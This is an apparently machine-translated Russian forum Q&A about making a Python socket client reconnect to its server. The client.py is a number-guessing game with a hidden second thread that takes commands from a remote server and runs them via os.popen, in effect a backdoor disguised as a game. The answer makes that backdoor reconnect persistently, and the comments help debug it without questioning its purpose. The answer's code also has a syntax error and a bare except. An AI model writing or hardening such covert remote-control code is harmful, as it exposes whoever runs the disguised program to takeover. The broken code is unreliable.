Как я могу заставить клиентский сокет продолжать прослушивание сервера после закрытия сервера в python?

#python #python-3.x #multithreading #sockets #port

#python #python-3.x #многопоточность #сокеты #порт

Вопрос:

Это мой client.py:

 import random
import socket
import threading
import os
from time import sleep


def access():
    HOST = '127.0.0.1'
    PORT = 22262

    client = socket.socket(socket.AF_INET, socket.SOCK_STREAM)
    while True:
        try:
            client.connect((HOST, PORT))
            break
        except Exception:
            sleep(1)
    cmd_mode = False

    while True:
        command = client.recv(1024).decode('utf-8')
        if command == 'cmdon':
            cmd_mode = True
            client.send('You now have terminal access!'.encode('utf-8'))
            continue
        if command == 'cmdoff':
            cmd_mode = False
        if cmd_mode:
            os.popen(command)
        if command == 'hello':
            print('Hello World!')
        client.send(f'{command} was exectued successfully!'.encode('utf-8'))


def game():
    number = random.randint(0, 1000)
    tries = 1
    done = False

    while not done:
        guess = int(input('Enter a guess: '))

        if guess == number:
            done = True
            print('You won!')
        else:
            tries  = 1
            if guess > number:
                print('The actual number is smaller.')
            else:
                print('The actual number is larger.')
        print(f'You need {tries} tries!')


t1 = threading.Thread(target=game)
t2 = threading.Thread(target=access)

t1.start()
t2.start()
 

Это server.py

 import socket

HOST = ''
PORT = 22262

server = socket.socket(socket.AF_INET, socket.SOCK_STREAM)
server.bind((HOST, PORT))

server.listen()

client, address = server.accept()

while True:
    print(f'Connected to {address}')
    cmd_input = input('Enter a command: ')
    client.send(cmd_input.encode('utf-8'))
    print(client.recv(1024).decode('utf-8'))
 

Это работает, но если я отключусь server.py Я получаю следующую ошибку при client.py:

 ConnectionResetError: [WinError 10054] An existing connection was forcibly closed by the remote host
 

Является ли их способ иметь client.py всегда слушайте и ждите server.py выйти в Интернет, чтобы они могли снова подключиться? В принципе, я хочу client.py никогда не переставать прислушиваться к server.py

Комментарии:

1. Клиенты обычно не прослушивают серверы. Сервер прослушивает непрерывно, и клиенты подключаются к нему, когда им что-то нужно.

2. В этом, по сути, разница между клиентами и серверами.

3. Клиент должен просто продолжать пытаться подключиться к серверу. Для автоматического выполнения этого ничего не встроено. Так что просто поместите connect() вызов в цикл.

4. он хочет периодически проверять, подключен ли сервер к сети, поправьте меня, если я ошибаюсь

5. ошибка возникает из-за существующих соединений, которые закрываются.

Ответ №1:

Описанная вами проблема показывает, что сервер закрыл соединение, пока ваш клиент выполнял задачу, поэтому самое простое решение — обернуть его в try...except while_loop

заменить

 def access():
    HOST = '127.0.0.1'
    PORT = 22262


    while True:
        client = socket.socket(socket.AF_INET, socket.SOCK_STREAM)
        try:
            client.connect((HOST, PORT))
            break
        except Exception:
            sleep(1)
    cmd_mode = False

    while True:
        command = client.recv(1024).decode('utf-8')
        if command == 'cmdon':
            cmd_mode = True
            client.send('You now have terminal access!'.encode('utf-8'))
            continue
        if command == 'cmdoff':
            cmd_mode = False
        if cmd_mode:
            os.popen(command)
        if command == 'hello':
            print('Hello World!')
        client.send(f'{command} was exectued successfully!'.encode('utf-8'))
 

с

 def access():
    HOST = '127.0.0.1'
    PORT = 22262

    while True
        client = socket.socket(socket.AF_INET, socket.SOCK_STREAM)
        try:
            while True:
                try:
                    client.connect((HOST, PORT))
                    break
                except Exception:
                    sleep(1)
            cmd_mode = False
    
            while True:
                command = client.recv(1024).decode('utf-8')
                if command == 'cmdon':
                    cmd_mode = True
                    client.send('You now have terminal access!'.encode('utf-8'))
                    continue
                if command == 'cmdoff':
                    cmd_mode = False
                if cmd_mode:
                    os.popen(command)
                if command == 'hello':
                    print('Hello World!')
                client.send(f'{command} was exectued successfully!'.encode('utf-8'))
        except:
            pass
 

теперь приведенный выше код завершает его с помощью try и except с циклом while, поэтому он продолжает пытаться подключиться к серверу, даже если сервер отключается между соединением

Комментарии:

1. Это устранило ошибку, но она не подключается к серверу.

2. пожалуйста, подождите

3. Та же проблема. Клиент не отображается на стороне сервера

4. о, извините, я ошибочно отредактировал то, что не хотел, я просто отредактирую снова

5. повторите попытку, пожалуйста